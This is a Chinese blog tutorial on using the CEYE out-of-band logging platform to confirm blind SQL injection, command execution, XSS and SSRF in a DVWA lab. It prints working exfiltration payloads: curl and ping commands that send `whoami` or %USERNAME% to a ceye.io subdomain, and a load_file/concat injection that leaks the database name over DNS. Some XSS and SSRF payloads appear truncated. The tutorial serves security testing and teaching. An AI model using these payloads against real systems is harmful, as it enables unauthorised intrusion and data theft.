mysql注入 无回显_33. 注入信息无回显?(给盲注戴上眼镜)

本文介绍了如何使用CEYE平台检测无回显漏洞,如SQL盲注、命令执行和SSRF。通过DNS和HTTP请求的带外流量监控,安全研究人员能够确认漏洞的存在。CEYE.IO平台记录DNS查询和HTTP请求,帮助分析Payload执行情况,例如在SQL盲注中利用load_file()函数读取文件。此外,还展示了在DVWA环境中进行的测试案例,证明了CEYE平台在检测无回显漏洞方面的实用性。
摘要由CSDN通过智能技术生成

注入信息无回显?(给盲注戴上眼镜)

工具简介:

平常的漏洞检测或漏洞利用需要进一步的用户或系统交互。但是一些漏洞类型没有直接表明攻击是成功的。如Payload触发了却不在前端页面显示。(像ssrf,XXE,包括SQL盲注),这样就无法确认漏洞存在。

这时候推荐使用CEYE平台。CEYE是一个用来检测带外(Out-of-Band)流量的监控平台,如DNS查询和HTTP请求。因为DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息,简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志。

例如我们自己的域名是:bmjoker.org

那么我们把信息放在二级域名处,xxxx.bmjoker.org

想方法发起这个域名解析请求,那么那边就能收到xxxx这个信息了。

在注册页面注册后,会分给用户一个三级域名,你把信息写在第四级域名上就好了

例如我这里直接浏览器访问:bmjoker.wi0j1m.ceye.io

886865a3e7c4e66282a0e7b510e73344.png

登录 CEYE.IO,在用户详情页(http://ceye.io/profile)可以看到自己的域名标识符 identifier,对于每个用户,都有唯一的域名标识符如 xxxx.ceye.io 。所有来自于 xxxx.ceye.io 或 *.xxxxx.ceye.io 的 DNS查询和HTTP请求都会被记录。通过查看这些记录信息,安全研究人员可以确认并改进自己的漏洞研究方案。

fe394df3233b24ee187b1a26ca873e0f.png

通过DNS带外信道检测 Blind Payload 的执行情况

DNS查询可以以多种不同的方式进行解析。CEYE.IO平台提供了一台DNS Server来解析域名。它的 nameserver address 被设置为自己的服务器IP,因此所有关于ceye.io 的域名的DNS查询最终都会被发送到CEYE的DNS服务器。

例如,在终端中使用 nslookup:

e695d3a58e65e8c2a271f8570198dcdb.png

发现在DNS Query中顺利记录了我们的DNS查询信息,可以通过搜索框,搜索并导出需要的结果,导出格式为 JSON 。

另外,CEYE.IO平台拥有自己的HTTP服务器,记录用户域名的所有请求:

6a01c8361772933c93c64875dffb763b.png

在DNS Query中记录了我们的DNS查询信息

在后端,CEYE.IO平台将记录客户端的IP地址,请求的URL,客户端环境的用户代理等。您可以在HTTP请求页面中找到详细信息:

dc42138dcaaa8a9901ee31935cd40370.png

在Linux上命令:

curl http://ip.port.xxxxx.ceye.io/`whoami`ping `whoami`.ip.port.xxxxx.ceye.io

在windows上命令:

ping %USERNAME%.xxxxx.ceye.io

这里顺便给出windows常用变量:

//变量 类型 描述//%ALLUSERSPROFILE% 本地 返回“所有用户”配置文件的位置。//%APPDATA% 本地 返回默认情况下应用程序存储数据的位置。//%CD% 本地 返回当前目录字符串。//%CMDCMDLINE% 本地 返回用来启动当前的 Cmd.exe 的准确命令行。//%CMDEXTVERSION% 系统 返回当前的“命令处理程序扩展”的版本号。//%COMPUTERNAME% 系统 返回计算机的名称。//%COMSPEC% 系统 返回命令行解释器可执行程序的准确路径。//%DATE% 系统 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。//%ERRORLEVEL% 系统 返回上一条命令的错误代码。通常用非零值表示错误。//%HOMEDRIVE% 系统 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。//%HOMEPATH% 系统 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。//%HOMESHARE% 系统 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。//%LOGONSERVER% 本地 返回验证当前登录会话的域控制器的名称。//%NUMBER_OF_PROCESSORS% 系统 指定安装在计算机上的处理器的数目。//%OS% 系统 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。//%PATH% 系统 指定可执行文件的搜索路径。//%PATHEXT% 系统 返回操作系统认为可执行的文件扩展名的列表。//%PROCESSOR_ARCHITECTURE% 系统 返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。//%PROCESSOR_IDENTFIER% 系统 返回处理器说明。//%PROCESSOR_LEVEL% 系统 返回计算机上安装的处理器的型号。//%PROCESSOR_REVISION% 系统 返回处理器的版本号。//%PROMPT% 本地 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。//%RANDOM% 系统 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。//%SYSTEMDRIVE% 系统 返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。//%SYSTEMROOT% 系统 返回 Windows server operating system 根目录的位置。//%TEMP%和%TMP% 系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。//%TIME% 系统 返回当前时间。使用与 time /t 命令相同的格式。由 Cmd.exe 生成。有关 time 命令的详细信息,请参阅 Time。//%USERDOMAIN% 本地 返回包含用户帐户的域的名称。//%USERNAME% 本地 返回当前登录的用户的名称。//%USERPROFILE% 本地 返回当前用户的配置文件的位置。//%WINDIR% 系统 返回操作系统目录的位置。

demo例子演示:

1.dvwa sql盲注测试

这里主要讲解CEYE平台在sql盲注中的使用,由于需要使用load_file()函数,所以一般得是root权限。先查看load_file()可以读取的磁盘:

6d7628455f455dfc4abc4ae637249629.png

1、当secure_file_priv为空,就可以读取磁盘的目录。

2、当secure_file_priv为G:\,就可以读取G盘的文件。

3、当secure_file_priv为null,load_file就不能加载文件。

通过设置my.ini来配置。secure_file_priv=""就是可以load_flie任意磁盘的文件。

在mysql命令行执行:select load_file('\\\\bmjoker.wi0j1m.ceye.io\\aaa');其中bmjoker就是要注入的查询语句:

d83ab92f335da2d5419c46537b9c87c6.png

发现我们的DNS log已经被记录下来。

然后打开dvwa的盲注环节:

ccf160a2f1d4b5d4553c343322bdc1d8.png

这里存在SQL注入,不过是盲注,无法获得详细信息,需要我们发送大量get请求,来一位一位猜解数据库表,由于大量发送恶意流量,防火墙有时候还会把ip给ban。

然后我们构造注入payload:

1'and if((select load_file(concat('\\\\',(select database()),'.wi0j1m.ceye.io\\abc'))),1,1)--+

运行时明显感觉有迟缓:

4e9ff6fd130f959b059defc93ca62ff5.png

看一下平台记录:

66082e25b195d0d58057420c0ca90a4f.png

可以看到DNS log已经记录下我们的注入数据。

我们用同样的方法get数据表:

76652974a9583b1d21a1987212fb2c7b.png

通过修改 limit 0,1 可以获得数据表:

c5c99658531fb2a8b5d08873250210e9.png

2.dvwa 命令执行

发现现实中像命令执行,一般结果都不会输出出来,无法确认到底是否存在漏洞。

由于我的系统是windows,所以 ping %USERNAME%.xxxxx.ceye.io ,linux的话上面有介绍。

我这里直接在命令框中输入:

13a6e639e1d903086a022a5fb4cf265f.png

提交后发现DNS log平台上已经有了记录:

5ea12a0df8216b08e763fa79addb64f4.png

如果在linux:

eb5ed9794c819d5fce710fd1e14162c4.png

发现我们DNS log成功收到:

ee041e032d1895c933c313d189416669.png

3.XSS(无回显)

通过盲打,让触发者浏览器访问预设至的链接地址,如果盲打成功,会在平台上收到如下的链接访问记录:

payload:

">bmjoker

让src请求我们的dnslog平台,我这里拿dvwa的反射性xss做演示:

a1cc6c697e6792f030fc5b759560a513.png

回看我们的DNS log平台:

25f1b79c1ab323b81890f3a7419c537b.png

已经收到了请求,所以dns已经被解析。

5.SSRF(无回显)

构造payload,来做内网端口探测:

%remote;]>

---------------

感觉这个平台挺有用的,能总结和需要总结的东西实在太多了,这次就先写这么一点吧。

参考链接:

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
SQL注入是一种黑客攻击手段,通过将恶意构造的SQL查询插入到输入字段中,攻击者可以获取敏感信息、篡改数据库内容或甚至获得对系统的访问权限。当存在SQL注入漏洞时,“数据无回显”通常指的是从数据库返回的结果并没有正常显示给用户。 这种现象可能发生在以下几个场景: ### 1. **结果未正确呈现** - 当用户输入的数据包含恶意SQL代码时,应用可能会尝试执行这些代码,而不是只处理表单中的实际数据。如果应用没有适当检查或过滤输入,并直接将用户提交的内容拼接到SQL查询字符串中,则可能导致整个查询被执行而不显示预期的结果页面或数据。 ### 2. **错误消息泄露信息** - 尽管最终结果可能没有如预期地展示出来,但是服务器仍然有可能生成并返回错误消息或状态码。例如,如果执行的SQL查询导致了一个语法错误,服务器会返回相应的错误信息(如“解析错误”、“行号列号信息”等),这实际上已经向攻击者透露了部分关于数据库结构的信息。 ### 3. **数据库特定响应** - 某些数据库系统或应用配置可能会在执行某些操作失败时返回特定的响应代码或错误信息,而这些信息对于理解查询意图是有帮助的,比如返回特定的状态代码表示查询超时或是数据量过大。 ### 4. **隐藏数据的特性** - 在一些情况下,应用的设计或框架可能会有意地隐藏数据回显的行为,尤其是在执行某些敏感操作时(例如删除数据、修改权限等)。这时,即使有数据操作发生,也可能不会在界面上显示任何反馈信息,使得外部观察者无法判断操作是否成功完成。 为了防止SQL注入成功导致数据无回显的问题,关键在于加强输入验证和清理、使用预编译语句(参数化查询)、限制数据库权限以及进行全面的安全审计和测试。这些措施可以帮助减少攻击面,确保应用程序能够安全地处理来自用户的输入,并有效防止潜在的SQL注入威胁。 --- ## 相关问题 - SQL注入: 1. **如何检测和预防SQL注入?** - 预编译语句、输入验证、最小权限原则、定期安全审核。 2. **SQL注入可能引发的具体风险有哪些?** - 数据泄露、系统控制权丢失、非授权访问等。 3. **为什么需要避免在SQL查询中直接拼接用户输入?** - 避免SQL注入攻击,保护系统免受恶意输入的影响。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值